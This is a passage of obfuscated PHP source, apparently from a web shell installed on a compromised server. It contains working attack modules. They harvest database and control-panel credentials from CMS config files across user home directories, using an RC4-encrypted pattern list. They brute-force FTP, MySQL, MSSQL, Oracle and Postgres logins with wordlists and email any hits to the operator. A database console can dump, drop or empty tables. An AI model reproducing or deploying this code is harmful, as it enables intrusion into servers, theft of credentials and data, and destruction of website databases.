"; $i++; } } if($i>0) echo z5q().z7f().z7y().z10q().z6s(); } } if(@isset($cpfind)&&$cpfind&&(!@empty($cpuser)||$cpmethod=="cppasswd")){ echo z3q(z9y("308")).z6s(); echo z9m(\'2\').z7o().z6q().z5w("","1"); z5o(); $fpaths=$tpaths=$spaths=$glob=array(); $farr=@explode(";",$cpfiles); $tpath=\'\'; $tpaths[]=\'\'; if(@is_numeric($cprecursive)){ for($i=0;$i<$cprecursive;$i++){ $tpath.=\'*/\'; $tpaths[]=$tpath; } } else { $tpaths[]=\'*/\'; } foreach(@array_unique($tpaths) as $tpath){ foreach(@array_unique($farr) as $fpath){ $fpath=@trim($fpath); if(!@empty($fpath)){ $fpaths[]=$tpath.$fpath; } } } switch($cpmethod){ case \'cpdir\': $spaths[$cpuser]=array(); foreach(@array_unique($fpaths) as $fpath){ $spaths[$cpuser][]=z1k($cpdir).$fpath; } break; case \'cpdocroot\': $spaths[$cpuser]=array(); foreach(@array_unique($fpaths) as $fpath){ $spaths[$cpuser][]=z1k($wwwdir).$fpath; } break; case \'cppasswd\': $uarr=z8l(1); if(@count($uarr)>0){ foreach($uarr as $uk=>$arr){ if($arr[1]!=\'/\'&&!@preg_match(\'#^(/var/run|/var/log|/var/cache|/var/mail|/var/cache|/var/backup|/usr/games|/lib|/var/lib|/var/tmp|/tmp|/dev|/proc|/sbin|/usr/sbin|/usr/local/sbin|/bin|/usr/bin|/usr/local/bin)#\',$arr[1])&&z4j($arr[1])){ $spaths[$arr[0]]=array(); foreach(@array_unique($fpaths) as $fpath){ $spaths[$arr[0]][]=z1k($arr[1]).$fpath; } } } } unset($uarr); break; default: break; } unset($fpaths); unset($tpaths); foreach($spaths as $user=>$spath_arr){ foreach($spath_arr as $spath){ $tglob=@glob($spath); if(@is_array($tglob)&&@count($tglob)>0){ if(!@isset($glob[$user])) $glob[$user]=array(); foreach($tglob as $tfile){ if(!@in_array($tfile,$glob[$user])) $glob[$user][]=$tfile; } $glob[$user]=@array_unique($glob[$user]); } } } unset($spaths); if(@count($glob)>0){ foreach($glob as $user=>$file_arr){ if(@count($file_arr)>0){ foreach($file_arr as $tfile){ z2p($tfile,$user); } } } } $log=\'\'; $found=0; if(@isset($passarray)&&@count($passarray)>0){ foreach($passarray as $user=>$passwords){ if(@count($passwords)>0){ foreach($passwords as $pass){ if(@isset($cppassfile)&&$cppassfile){ echo "$user $pass
"; } else { if(!@isset($stop)) $stop=0; if($cpservice=="FTP"&&$bftp&&!$stop){ $test=z3l($cphost,$user,$pass,21,3); if($test=="failed"){ $stop=1; } elseif($test=="valid"){ $found++; $tmp = "host: $cphost
"; $tmp .= "user: $user
"; $tmp .= "pass: $pass
"; $tmp .= "service: $cpservice
"; echo $tmp; $log.=$tmp; } } else { if(z3h($cphost,$user,$pass,\'\',$cpservice)=="valid"){ $found++; $tmp = "host: $cphost
"; $tmp .= "user: $user
"; $tmp .= "pass: $pass
"; $tmp .= "service: $cpservice
"; echo $tmp; $log.=$tmp; } } } } } } } if($cp_log=="1"&&$found>0&&$bmail){ @mail($cp_email,"$cpservice|$cphost",$log); } echo z5q().z7y().z7f().z10q().z6s(); } $arr_cfgs=array(\'\'=>"Select Software","joomla"=>"Joomla","opencart"=>"Opencart","osc"=>"Oscommerce","pinnaclecart"=>"Pinnaclecart","squirrelcart"=>"Squirrelcart","wordpress"=>"Wordpress","xcart"=>"X-cart","zencart"=>"Zen-cart","all"=>"All of above"); if(@isset($sqlfind)&&$sqlfind&&@isset($dvdefined)&&!@empty($dvdefined)&&@isset($dvpasswd)&&!@empty($dvpasswd)){ $dvcfgs="nVrkA0mFRDYCHunZ3cN9mLz5pNShsm0r8L4drmb0FTMSPnfIqA4j+Uq6gfLYuldrtsMMNTgK5UoZ3ViSZ5jne7teFyngMstdNqjRBr1NSDZgOnhkT05Hm25ikOaooEva9Wc965VdcbUYpnqs8xq5VDaKeBpRkS1VAxaLTKOr899pfM1pm/v7Rdctk4H0A4bXSxn5Lup5HAdjjl1EzocQXar6WsYumziDYD/EOBgmBiNVl/+kGwfPs64vQfzVuttfcY7tizzenPmMJgE8BGj2AZuXWtxnl3UO4CAPBOdtwkrv+PwMsYhffkEyh17eC3BufrqDkWAQhECUhs8dnp1R0g5/ByuJMebTOe9qwpDDh5goXgYhtjTthSEu4XShBdKNHg+ve/4/QhiJb0hSq8ezOZHCmW1PZ/0gyrywZx2aucGJeCZx3mxnfjiKAGHcnJaiFDV09dXZRuvfGe6SGiPq84bErZThDHORRs5Fz8NivUxj9m+WW7QRtak8EOUiIcTlbPIP85XIWob21V3v83fAAOAr9oJUJJ8gpdfqOLIyJyfa5Kvas2O1DHnvqoS6GsEGGrfnlXHoTeiw47nGeR4SoC7BFPu0hM3hnC4QPR8jrI7D5xYYO3wzK4uhJU4f5Ot8GuqNTsjE1LTyuBqJbeY4I5tcmQLsFYmqyGEQXP4NDExH7OlBMKSlpVkMEeLtouWDMdeAhiYiyWM20jy2VJi5xiQevlBfG/briKFxmCwNdmF2JexxL6qlRGn+Rdx9VYGFot2rxR7y2JTeViten/QNci1L4xAWoHaT1EMCd0zxP/ZYRcBgvzt4326NG1WBspNY6SeSnbBQvPoMcrnOjXHrARy1NyzAUHGhtWeBoFAlShuSA2c4cqGEQTrs1PPKxpTbBacuNLMmm+wvMNvBhdt2HTfZTjdYyEn0qEfOVPTWb8LWPKWxA/zIJ5OYeVH69g0b4CPNknHes4yNY6D7RxK905EY0DMMI1h8HY1n7r7ZvWd84O3VBf904vQUILRA/vhyRb7oKUHttyCruZoG4lgAQGg78PHaYugtc9SFu7Pq41Cn"; $ddcfgs=zrc4::zdec(@md5($dvpasswd), base64_decode($dvcfgs)); if($dvdefined=="all"){ $arr_mass=array(); $arr_mass_paths=array(); foreach($arr_cfgs as $tcfg=>$tsoft){ if($tcfg!=\'\'&&$tcfg!="all"){ $tddcfg=@explode("|".$tcfg."|",$ddcfgs); $tddcfg=@substr($tddcfg[1],0,@strpos($tddcfg[1],"|")); @list($tdvuser,$tdtuser,$tdvpass,$tdtpass,$tdvbase,$tdtbase,$tdvhost,$tdthost,$tdvfiles,)=@explode(",",$tddcfg); $arr_mass[$tsoft]=array($tdvuser,$tdtuser,$tdvpass,$tdtpass,$tdvbase,$tdtbase,$tdvhost,$tdthost); $tefiles=@explode(";",$tdvfiles); foreach($tefiles as $tefile){ $tefile=@trim($tefile); if(!@empty($tefile)&&!@in_array($tefile,$arr_mass_paths)) $arr_mass_paths[]=$tefile; } } } } else { if(@strpos($ddcfgs,"|".$dvdefined."|")!==false){ $ddcfg=@explode("|".$dvdefined."|",$ddcfgs); $ddcfg=@substr($ddcfg[1],0,@strpos($ddcfg[1],"|")); @list($dvuser,$dtuser,$dvpass,$dtpass,$dvbase,$dtbase,$dvhost,$dthost,$dvfiles,)=@explode(",",$ddcfg); } } } echo z3q(array(z9y("315"),z9y("337")),\'46\'); echo z9m(2). z7o(). z7j(\'\',\'4\'). z6s(). z9m(\'2\'). z7l().z9v("sqlfind","1").z9v("act","tools").z9v("d"). z7u(z5t(z9y("316")).z9c(z5y("dvuser","","5").":".z3m("dtuser",$arr_vars,"4",1).z9x().z9y("328"))). z7u(z5t(z9y("317")).z9c(z5y("dvpass","","5").":".z3m("dtpass",$arr_vars,"4",1).z9x().z9y("328"))). z7u(z5t(z9y("318")).z9c(z5y("dvbase","","5").":".z3m("dtbase",$arr_vars,"4",1).z9x().z9y("329"))). z7u(z5t(z9y("319")).z9c(z5y("dvhost","","5").":".z3m("dthost",$arr_vars,"4",1).z9x().z9y("329"))). z7u(z5t(z9y("320")).z9c(z3m("dvdefined",$arr_cfgs,"5",1).":".z5y("dvpasswd","","4").z9x()."anti-lamerz :)")). z7u(z5t(z9y("321")).z9c(z5y("dvfiles","","5").":".z3m("dvfind",$arr_dvfind,"4",1).":".z3m("dtrecursive",$rec_arr,"1",1))). z7u(z5t(z9y("322")).z9c(z5y("dvdir",$d,"0"))). ($bmail?z7u(z5t(z9y("302")).z9c(z5y("dv_email","",\'2\').z9f("dv_log"))):\'\'). z7u(z5t(z9x()). z9c(z8b(z9y("323"),"7").z9x().z5u("dvsqltest",z9y("324"),"dvsqltest"))). z9l(). z10q(). z6s(). z7f().z7j(\'\',\'46\'). z6s(). z9m(\'2\'). z7l().z9v("startbrute","1").z9v("act","tools").z9v("d"). z7u(z5t(z9y("338")).z9c(z5y("brh","","4").":".z5y("brp","","6").":".z3m("bservice",$available_arr,"4",1))). z7u(z5t(z9y("339")). z9c(z5y("bru","",\'4\').":".z5y("brdb","",\'5\'))). z7u(z5t(z9y("340")). z9c(z9g("wordlist",\'2\'))). z7u(z5t(z9y("341")). z9c(z3m("brm",$brute_type,\'2\',1))). z7u(z5t(z9y("342")). z9c(z5u("brtest1","user:resu","brtest1").z9x(1).z5u("brtest2","user:user1","brtest2").z9x(1).z5u("brtest3","user:user123","brtest3"))). z7u(z5t(z9x()).z9c(z5u("brtest4","Transform password to p@55w0rd","brtest4"))). ($bmail?z7u(z5t(z9y("302")).z9c(z6u("brute_email",$brute_email,\'2\').z9f("brute_log"))):\'\'). z7u(z5t(z9x()). z9c(z8b(z9y("346"),"7"))). z9l(). z10q(). z6s(). z7f(). z7y(). z10q(); if(@isset($startbrute)&&$startbrute){ $stop=0; echo z3q(z9y("347",$bservice,1)).z6s(); echo z9m(\'2\').z7o().z6q().z5w("","1"); z5o(); $con=true; $show=0; $log=""; if($bservice=="FTP"){ $brp=(@preg_match("/^[0-9]{1,5}$/",$brp)?$brp:"21"); }elseif($bservice=="MySQL"){ $brp=(@preg_match("/^[0-9]{1,5}$/",$brp)?$brp:"3306"); } if($brm=="1"||$brm=="3"){ $dictionary=array(); $list=@fopen($_FILES[\'wordlist\'][\'tmp_name\'],\'r\'); if(@is_resource($list)){ while(!@feof($list)){ $dictionary[]=@trim(@fgets($list)); } @fclose($list); } $dictionary=@array_unique($dictionary); } if($bservice=="FTP"&&$bftp){ $time=3; $success=0; $count=0; if(!@empty($bru)&&!$stop){ $test=z2f($brh,$brp,$time,$brtest1,$brtest2,$brtest3,$brtest4,$bru); if(!$test) $stop=1; z2g($test[0],$test[1],$test[2]); } if(($brm=="2"||$brm=="3")&&!$stop){ foreach($users as $user){ $test=z2f($brh,$brp,$time,$brtest1,$brtest2,$brtest3,$brtest4,$user); if(!$test){ $stop=1; break; } z2g($test[0],$test[1],$test[2]); if($brm=="3"){ foreach($dictionary as $passwd){ $test=z2f($brh,$brp,$time,$brtest1,$brtest2,$brtest3,$brtest4,$user,$passwd); z2g($test[0],$test[1],$test[2]); } } } }else if($brm=="1"&&!@empty($bru)&&!$stop){ foreach($dictionary as $passwd){ $test=z2f($brh,$brp,$time,$brtest1,$brtest2,$brtest3,$brtest4,$bru,$passwd); if(!$test){ $stop=1; break; } z2g($test[0],$test[1],$test[2]); } } echo "
--------------------
"; echo z9y("426",$count)."
"; echo z9y("427",$success)."
"; }elseif($bmysql||$bmssql||$boracle||$bpostgres){ $success=0; $count=0; if(!@empty($bru)){ $test=z2s($brh,$brp,$bservice,$brtest1,$brtest2,$brtest3,$brtest4,$bru,NULL,(!@empty($brdb)?$brdb:\'\')); z2g($test[0],$test[1],$test[2]); } if($brm=="2"||$brm=="3"){ foreach($users as $user){ $test=z2s($brh,$brp,$bservice,$brtest1,$brtest2,$brtest3,$brtest4,$user,NULL,(!@empty($brdb)?$brdb:\'\')); z2g($test[0],$test[1],$test[2]); if($brm=="3"){ foreach($dictionary as $passwd){ $test=z2s($brh,$brp,$bservice,$brtest1,$brtest2,$brtest3,$brtest4,$user,$passwd,(!@empty($brdb)?$brdb:\'\')); z2g($test[0],$test[1],$test[2]); } } } }else if($brm=="1"&&!@empty($bru)){ foreach($dictionary as $passwd){ $test=z2s($brh,$brp,$bservice,$brtest1,$brtest2,$brtest3,$brtest4,$bru,$passwd,(!@empty($brdb)?$brdb:\'\')); z2g($test[0],$test[1],$test[2]); } } echo "
--------------------
"; echo z9y("426",$count)."
"; echo z9y("427",$success)."
"; echo $log; } if($brute_log=="1"&&$success>0){ @mail($brute_email,"$bservice|$brh:$brp",$log); } echo z5q().z7y().z7f().z10q().z6s(); } if(@isset($sqlfind)&&$sqlfind&&!@empty($dvuser)&&!@empty($dvpass)){ echo z3q(z9y("330")).z6s(); echo z9m(\'2\').z7o().z6q().z5w("","1"); z5o(); $fpaths=$tpaths=$dpaths=$spaths=$glob=array(); $farr=@explode(";",$dvfiles); $tpath=\'\'; $tpaths[]=\'\'; if(@is_numeric($dtrecursive)){ for($i=0;$i<$dtrecursive;$i++){ $tpath.=\'*/\'; $tpaths[]=$tpath; } } else { $tpaths[]=\'*/\'; } if($dvdefined=="all"&&@isset($arr_mass_paths)&&@is_array($arr_mass_paths)&&@count($arr_mass_paths)>0){ $farr=$arr_mass_paths; } foreach(@array_unique($tpaths) as $tpath){ foreach(@array_unique($farr) as $fpath){ $fpath=@trim($fpath); if(!@empty($fpath)){ $fpaths[]=$tpath.$fpath; } } } switch($dvfind){ case \'dvdir\': $dpaths[]=z1k($dvdir); break; case \'docroot\': $dpaths[]=z1k($wwwdir); break; case \'passwd\': $uarr=z8l(1); if(@count($uarr)>0){ foreach($uarr as $uk=>$arr){ if(!@in_array($arr[1],$dpaths)&&$arr[1]!=\'/\'&&!@preg_match(\'#^(/var/run|/var/log|/var/cache|/var/mail|/var/cache|/var/backup|/usr/games|/lib|/var/lib|/var/tmp|/tmp|/dev|/proc|/sbin|/usr/sbin|/usr/local/sbin|/bin|/usr/bin|/usr/local/bin)#\',$arr[1])&&z4j($arr[1])) $dpaths[]=z1k($arr[1]); } } unset($uarr); break; default: break; } foreach(@array_unique($dpaths) as $dpath){ foreach(@array_unique($fpaths) as $fpath){ $spaths[]=$dpath.$fpath; } } unset($fpaths); unset($tpaths); unset($dpaths); foreach($spaths as $spath){ $tglob=@glob($spath); if(@is_array($tglob)&&@count($tglob)>0){ foreach($tglob as $tfile){ if(!@in_array($tfile,$glob)) $glob[]=$tfile; } } } $glob=@array_unique($glob); unset($spaths); if(@count($glob)>0){ $log=\'\'; $line=@str_repeat("-",100)."
"; $final_arr=array(); foreach($glob as $file){ $tct=z9o($file); if(!@empty($tct)){ if($dvdefined=="all"&&@isset($arr_mass)&&@is_array($arr_mass)&&@count($arr_mass)>0){ foreach($arr_mass as $software=>$defines){ $base=""; $user=z4b($defines[1],$defines[0],$tct); $pass=z4b($defines[3],$defines[2],$tct); if(!@empty($defines[4])){ $base=z4b($defines[5],$defines[4],$tct); } if(!@empty($defines[6])){ $host=z4b($defines[7],$defines[6],$tct); } if(!@isset($host)||@empty($host)) $host="localhost"; if(!@empty($host)&&!@empty($user)&&!@empty($pass)){ $add=0; if(@isset($dvsqltest)&&$dvsqltest){ if(z3h($host,$user,$pass,"3306","MySQL")=="valid") $add=1; } else { $add=1; } if($add){ $tmp = $line; $tmp .= "$file
"; $tmp .= "Software tested: $software
"; $tmp .= $line; $tmp .= "host: $host
"; $tmp .= "user: $user
"; $tmp .= "pass: $pass
"; $tmp .= "database: $base
"; echo $tmp; $log.=$tmp; if(!@isset($final_arr[$file])) $final_arr[$file]=array($host,$user,$pass,$base,$software); break; } } } } else { $base=""; $user=z4b($dtuser,$dvuser,$tct); $pass=z4b($dtpass,$dvpass,$tct); if(!@empty($dvbase)){ $base=z4b($dtbase,$dvbase,$tct); } if(!@empty($dvhost)){ $host=z4b($dthost,$dvhost,$tct); } if(!@isset($host)||@empty($host)) $host="localhost"; if(!@empty($host)&&!@empty($user)&&!@empty($pass)){ $add=0; if(@isset($dvsqltest)&&$dvsqltest){ if(z3h($host,$user,$pass,"3306","MySQL")=="valid") $add=1; } else { $add=1; } if($add){ $tmp = $line; $tmp .= "$file
"; $tmp .= $line; $tmp .= "host: $host
"; $tmp .= "user: $user
"; $tmp .= "pass: $pass
"; $tmp .= "database: $base
"; echo $tmp; $log.=$tmp; if(!@isset($final_arr[$file])) $final_arr[$file]=array($host,$user,$pass,$base); } } } } unset($tct); } } echo z5q().z7y().z7f().z10q().z6s(); if($dv_log=="1"&&$log!=\'\'){ @mail($dv_email,"DBS|$saddr",$log); } } if(@isset($final_arr)&&@count($final_arr)>0){ echo z9m("2").z7u(z9c(z9y("331"),"13","2").z9c(z9y("332"),"13").z9c(z9y("333"),"13").z9c(z9y("334"),"13").z9c(z9y("335"),"13","3")); $tr=0; foreach($final_arr as $file=>$array){ echo z6f(($tr%2?\'0\':\'1\')); $tc=@count($array); $dsoft=\'\'; if($tc==5){ $tc=4; $dsoft=$array[$tc]; } for($i=0;$i<$tc;$i++){ echo z9c($array[$i],"14",($i==0?"2":"")); } echo z9c(z5x(array("act"=>"sql","d","sql_refresh"=>"1","sql_server"=>$array[0],"sql_user"=>$array[1],"sql_pass"=>$array[2],"sql_db"=>$array[3],"sql_port"=>"3306","sql_engine"=>"MySQL"),z8b(z9y("336"),"7").(($dsoft!=\'\')?" (".$dsoft.")":\'\'),1),"14","3"); echo z7y(); $tr++; } } } if($act==\'sql\'){ $hideconnect=0; $hmsg=\'\'; if(@isset($sql_act)&&$sql_act=="logoff"){ z0i(\'sql_server\'); z0i(\'sql_user\'); z0i(\'sql_pass\'); z0i(\'sql_port\'); z0i(\'sql_engine\'); z0i(\'sql_session\'); z0i(\'sql_sort\'); } $sql_session=0; if(@isset($_SESSION[\'sql_session\'])){ if(!@isset($sql_refresh)||!$sql_refresh){ $sql_server=$_SESSION[\'sql_server\']; $sql_user=$_SESSION[\'sql_user\']; $sql_pass=$_SESSION[\'sql_pass\']; $sql_port=$_SESSION[\'sql_port\']; $sql_engine=$_SESSION[\'sql_engine\']; if(!@isset($sql_sort)) $sql_sort=$_SESSION[\'sql_sort\']; $sql_session=1; } else { z0i(\'sql_server\'); z0i(\'sql_user\'); z0i(\'sql_pass\'); z0i(\'sql_port\'); z0i(\'sql_engine\'); z0i(\'sql_session\'); z0i(\'sql_sort\'); } } if(!@empty($sql_server)&&!@empty($sql_port)&&!@empty($sql_user)&&@isset($sql_pass)&&!@empty($sql_engine)){ if(!@isset($sql_db)) $sql_db=\'\'; $sql=new my_sql(); $sql->db=$sql_engine; $sql->host=$sql_server; $sql->port=$sql_port; $sql->user=$sql_user; $sql->pass=$sql_pass; $sql->base=$sql_db; if($sql->connect()){ $hideconnect=1; if(!@isset($sql_sort)) $sql_sort="0a"; $_SESSION[\'sql_server\']=$sql_server; $_SESSION[\'sql_user\']=$sql_user; $_SESSION[\'sql_pass\']=$sql_pass; $_SESSION[\'sql_port\']=$sql_port; $_SESSION[\'sql_engine\']=$sql_engine; $_SESSION[\'sql_session\']=1; $_SESSION[\'sql_sort\']=$sql_sort; $hideconnect=1; $db_actions=array("select"=>"Select","dump"=>"Dump","drop"=>"Drop"); $table_actions=array("browse"=>"Browse","dump"=>"Dump","drop"=>"Drop","empty"=>"Empty","insert"=>"Insert"); echo z3q(z9m(\'2\').z7u(z6l( z5x(array("act"=>"sql","d","sql_server","sql_user","sql_pass","sql_port","sql_engine"),z8b(z9y("352"),(!@isset($sql_act)||!@in_array($sql_act,array("query","emails","serverstatus","servervars","processes"))?"12":"14"))). z5x(array("act"=>"sql","d","sql_server","sql_user","sql_pass","sql_port","sql_engine","sql_act"=>"query","sql_db"),z8b(z9y("353"),(@isset($sql_act)&&$sql_act=="query"?"12":"14"))). z5x(array("act"=>"sql","d","sql_server","sql_user","sql_pass","sql_port","sql_engine","sql_act"=>"emails","sql_db"),z8b(z9y("354"),(@isset($sql_act)&&$sql_act=="emails"?"12":"14"))). z5x(array("act"=>"sql","d","sql_server","sql_user","sql_pass","sql_port","sql_engine","sql_act"=>"serverstatus"),z8b(z9y("355"),(@isset($sql_act)&&$sql_act=="serverstatus"?"12":"14"))). z5x(array("act"=>"sql","d","sql_server","sql_user","sql_pass","sql_port","sql_engine","sql_act"=>"servervars"),z8b(z9y("356"),(@isset($sql_act)&&$sql_act=="servervars"?"12":"14"))). z5x(array("act"=>"sql","d","sql_server","sql_user","sql_pass","sql_port","sql_engine","sql_act"=>"processes"),z8b(z9y("357"),(@isset($sql_act)&&$sql_act=="processes"?"12":"14"))). z5x(array("act"=>"sql","d","sql_act"=>"logoff"),z8b(z9y("358"),"14")) ,"")).z10q()); if($sql_engine=="MySQL"){ if(!@isset($sql_act)){ if(@isset($sql_db)&&!@empty($sql_db)){ $sql->base=$sql_db; if($sql->select_db()){ $sql_act="db_act"; $db_act="select"; } else { $sql_act="showdb"; $sql_db=""; $sql->base=""; } } else { $sql_act="showdb"; } } $dbs=$sql->list_dbs(); $db_list=array(\'\'=>z9y("367",@count($dbs))); foreach($dbs as $k=>$v) $db_list[$k]=$v; if($sql_act=="db_act"&&@isset($db_act)&&!@empty($sql_db)){ switch($db_act){ case \'dump\': $sql_act="dump"; break; case \'drop\': if(@isset($drop_confirm)&&$drop_confirm){ $sql->query(\'DROP DATABASE \'.$sql_db.\';\'); $sql_act="showdb"; $sql_db=""; } else { $sql_act="dropdb"; } break; } } elseif($sql_act=="table_act"&&@isset($table_act)&&!@empty($sel_table)){ switch($table_act){ case \'dump\': $sql_act="dump"; break; case \'drop\': if(@isset($drop_confirm)&&$drop_confirm){ $sql->base=$sql_db; if($sql->select_db()){ $sql->query(\'DROP TABLE \'.$sel_table.\';\'); } $sel_table=""; $sql_act="db_act"; $db_act="select"; } else { $sql_act="droptable"; } break; case \'empty\': if(@isset($empty_confirm)&&$empty_confirm){ $sql->base=$sql_db; if($sql->select_db()){ $sql->query(\'DELETE FROM \'.$sel_table.\';\'); } $sql_act="table_act"; $table_act="browse"; } else { $sql_act="empty"; } break; case \'insert\': break; case \'delete\': $sql->base=$sql_db; if($sql->select_db()){ $sql->query(\'DELETE FROM \'.$sel_table.\' WHERE \'.$sql_tbl_insert_q.\' LIMIT 1;\'); } $table_act="browse"; break; } } if(!@in_array($sql_act,array("showdb","query","serverstatus","servervars","processes","emails"))){ $db_submit_acts=$table_submit_acts=\'\'; foreach($db_actions as $dk=>$dv) $db_submit_acts .= z6o($dk,$dv,"7"); foreach($table_actions as $tk=>$tv) $table_submit_acts .= z5x(array("act"=>"sql","d","sql_server","sql_user","sql_pass","sql_port","sql_engine","sql_act","table_act"=>$tk,"sql_db","sel_table"),z6o($tk,$tv,"7")); $table_submit_acts=z10w(z7u(z9c($table_submit_acts)),"2"); $db_table=z10w(z7u(z6l(z7n(z9y("364")).z5x(array("act"=>"sql","d","sql_server","sql_user","sql_pass","sql_port","sql_engine","sql_act"=>"db_act"),z3m("sql_db",$db_list,"0",1).z3m("db_act",$db_actions,"1").z8b(z9y("92"),"7")))),"2"); if(@isset($sql_db)&&!@empty($sql_db)){ $sql->base=$sql_db; if($sql->select_db()){ $table_list=array(\'\'=>"-"); $sql->query(\'SHOW TABLES FROM \'.$sql_db.\';\'); if($sql->get_result()){ for($i=0;$i<$sql->num_rows;$i++){ foreach($sql->rows[$i] as $rk=>$rv){ $table_list[$rv]=$rv." (".$sql->count_rows($rv).")"; } } } $table_table=z10w(z7u(z6l(z7n(z9y("365")).z5x(array("act"=>"sql","d","sql_server","sql_user","sql_pass","sql_port","sql_engine","sql_act"=>"table_act","sql_db"),z3m("sel_table",$table_list,"0",1).z3m("table_act",$table_actions,"1").z8b(z9y("92"),"7")))),"2"); } } echo z3q((@isset($table_table)?array($db_table,$table_table):$db_table)); if($sql_act=="dropdb"){ echo z6s(); echo z10w(z7u(z6l(z7n(z9y("437",$sql_db)).z5x(array("act"=>"sql","d","sql_server","sql_user","sql_pass","sql_port","sql_engine","sql_act"=>"db_act","db_act"=>"drop","sql_db","drop_confirm"=>"1"),z8b(z9y("21"),"7")).z9x().z5x($back_form_actions,z8b(z9y("22"),\'7\')))),"2"); echo z6s(); } elseif($sql_act=="droptable"){ echo z6s(); echo z10w(z7u(z6l(z7n(z9y("438",$sel_table)).z5x(array("act"=>"sql","d","sql_server","sql_user","sql_pass","sql_port","sql_engine","sql_act"=>"table_act","table_act"=>"drop","sql_db","sel_table","drop_confirm"=>"1"),z8b(z9y("21"),"7")).z9x().z5x($back_form_actions,z8b(z9y("22"),\'7\')))),"2"); echo z6s(); } elseif($sql_act=="empty"){ echo z6s(); echo z10w(z7u(z6l(z7n(z9y("439",$sel_table)).z5x(array("act"=>"sql","d","sql_server","sql_user","sql_pass","sql_port","sql_engine","sql_act"=>"table_act","table_act"=>"empty","sql_db","sel_table","empty_confirm"=>"1"),z8b(z9y("21"),"7")).z9x().z5x($back_form_actions,z8b(z9y("22"),\'7\')))),"2"); echo z6s(); } elseif($sql_act=="dump"){ if(!@isset($dump_filename)) $dump_filename=$tempdir."dump_".@getenv("SERVER_NAME")."_db_".@date("d-m-Y_H-i-s").".sql"; if(@isset($sql_db)&&!@empty($sql_db)){ $sql->base=$sql_db; if($sql->select_db()){ $table_list=array(); $sql->query(\'SHOW TABLES FROM \'.$sql_db.\';\'); if($sql->get_result()){ for($i=0;$i<$sql->num_rows;$i++){ foreach($sql->rows[$i] as $rk=>$rv){ $table_list[]=$rv; } } } } } if(!@isset($sql_tables)||@empty($sql_tables)){ if(@isset($sel_table)&&!@empty($sel_table)){ $sql_tables=$sel_table; } else { $sql_tables=(@count($table_list)>0?@implode(",",$table_list):""); } } elseif(@isset($table_list)&&@is_array($table_list)) { $tmp_tables=@explode(",",$sql_tables); $sql_tables=""; foreach($tmp_tables as $tmp_table){ $tmp_table=@trim($tmp_table); if(@in_array($tmp_table,$table_list)){ $sql_tables.=$tmp_table.","; } else { break; } } if(@empty($sql_tables)) $sql_tables=@implode(",",$table_list); } echo z3q(z9y("440")); echo z9m("2").z5x(array("act"=>"sql","d","sql_server","sql_user","sql_pass","sql_port","sql_engine","sql_act"=>"dump","dump_confirm"=>"1"), z5b(). z7u(z5t(z9y("441")).z9c(z3m("sql_db",$db_list,"7",1))). z7u(z5t(z9y("442")).z9c(z5w("sql_tables","5").(@isset($sql_tables)?@htmlspecialchars($sql_tables):"").z5q())). z7u(z5t(z9y("443")).z9c(z5y("dump_filename",$dump_filename,"7"))). z7u(z5t(z9x()).z9c(z5u("sql_save2file",z9y("444"),"sql_save2file").z9x().z5u("sql_download",z9y("445"),"sql_download"))). z7u(z5t(z9x()).z9c(z8b(z9y("446"),"7"))). z5b()). z10q(); if(@isset($dump_confirm)&&$dump_confirm){ $fp=0; if(@isset($sql_save2file)&&$sql_save2file=="1"&&@isset($dump_filename)&&!@empty($dump_filename)){ $fp=@fopen($dump_filename,"w"); } $dumping_arr=array(); $tmp_tables=@explode(",",$sql_tables); foreach($tmp_tables as $tmp_table){ $tmp_table=@trim($tmp_table); $dumping_arr[]=$tmp_table; } $dumping_arr=@array_unique($dumping_arr); $sql->base=$sql_db; if(!$sql->select_db()){ echo z3q(z9y("447")); }elseif(@count($dumping_arr)<1){ echo z3q(z9y("448")); }else{ $sql_dumped=""; foreach($dumping_arr as $dump_table){ if($sql->dump($dump_table)){ foreach($sql->dump as $v) $sql_dumped.=$v."
"; } } if($sql_dumped!=""){ if(@isset($sql_download)&&$sql_download=="1"){ @ob_clean(); @header("Content-type: application/octet-stream"); @header("Content-length: ".@strlen($sql_dumped)); @header("Content-disposition: attachment; filename=\"".@basename($dump_filename)."\";"); echo $sql_dumped; exit(); } if(!@isset($sql_save2file)||$sql_save2file!="1"){ echo z9m(\'2\').z6f().z6q().z5w(\'\',\'1\').@htmlspecialchars($sql_dumped).z5q().z7f().z7y().z10q().z6s(); }elseif($fp||@function_exists(\'file_put_contents\')){ if(@fwrite($fp,$sql_dumped) or @fputs($fp,$sql_dumped) or @file_put_contents($dump_filename,$sql_dumped)){ echo z3q(z9y("449",$dump_filename)); }else{ echo z3q(z9y("450")); } }else{ echo z3q(z9y("450")); } } } } } if($sql_act=="table_act"&&@isset($table_act)&&($table_act=="browse"||$table_act=="insert")&&@isset($sel_table)&&!@empty($sel_table)){ $crows=$sql->count_rows($sel_table); $sql->parse_fields($sel_table); $cfields=$sql->num_fields; $fields=$sql->columns; if($table_act=="insert"){ if(@isset($sql_tbl_insert_radio)&&!@empty($sql_tbl_insert_radio)){ if($sql_tbl_insert_radio==1){ $keys=""; $akeys=@array_keys($sql_tbl_insert); foreach($akeys as $v){ $keys.="`".@addslashes($v)."`, "; } if(!@empty($keys)){ $keys=@substr($keys,0,@strlen($keys)-2); } $values=""; $i=0; foreach(@array_values($sql_tbl_insert) as $v){ if($funct=$sql_tbl_insert_functs[$akeys[$i]]){ $values.=$funct." ("; } $values.="\'".@addslashes($v)."\'"; if($funct){ $values.=")"; } $values.=", "; $i++; } if(!@empty($values)){ $values=@substr($values,0,@strlen($values)-2); } $sql->query("INSERT INTO `".$sel_table."` ( ".$keys." ) VALUES ( ".$values." );"); }elseif($sql_tbl_insert_radio==2){ $set=z0k($sql_tbl_insert,", ",$sql_tbl_insert_functs); $sql->query("UPDATE `".$sel_table."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;"); } $table_act="browse"; }else{ echo z3q(array("INSERT INTO TABLE ".$sel_table),"1"); if(!@isset($sql_tbl_insert)||!@is_array($sql_tbl_insert)){ $sql_tbl_insert=array(); } if(!@empty($sql_tbl_insert_q)){ $sql->query("SELECT * FROM `".$sel_table."` WHERE ".$sql_tbl_insert_q." LIMIT 1;"); $values=@mysql_fetch_assoc($sql->res); @mysql_free_result($sql->res); }else{ $values=array(); } echo z9k().z9v("act","sql").z9v("sql_server").z9v("sql_user").z9v("sql_pass").z9v("sql_port").z9v("sql_engine").z9v("d").z9v("sql_act","table_act").z9v("table_act","insert").z9v("sel_table").z9v("sql_db").z9v("sql_tbl_insert_q").z9m("2").z7u(z9c("Field","13","2").z9c("Type","13").z9c("Function","13").z9c("Value","13","3")); $sql->query("SHOW FIELDS FROM 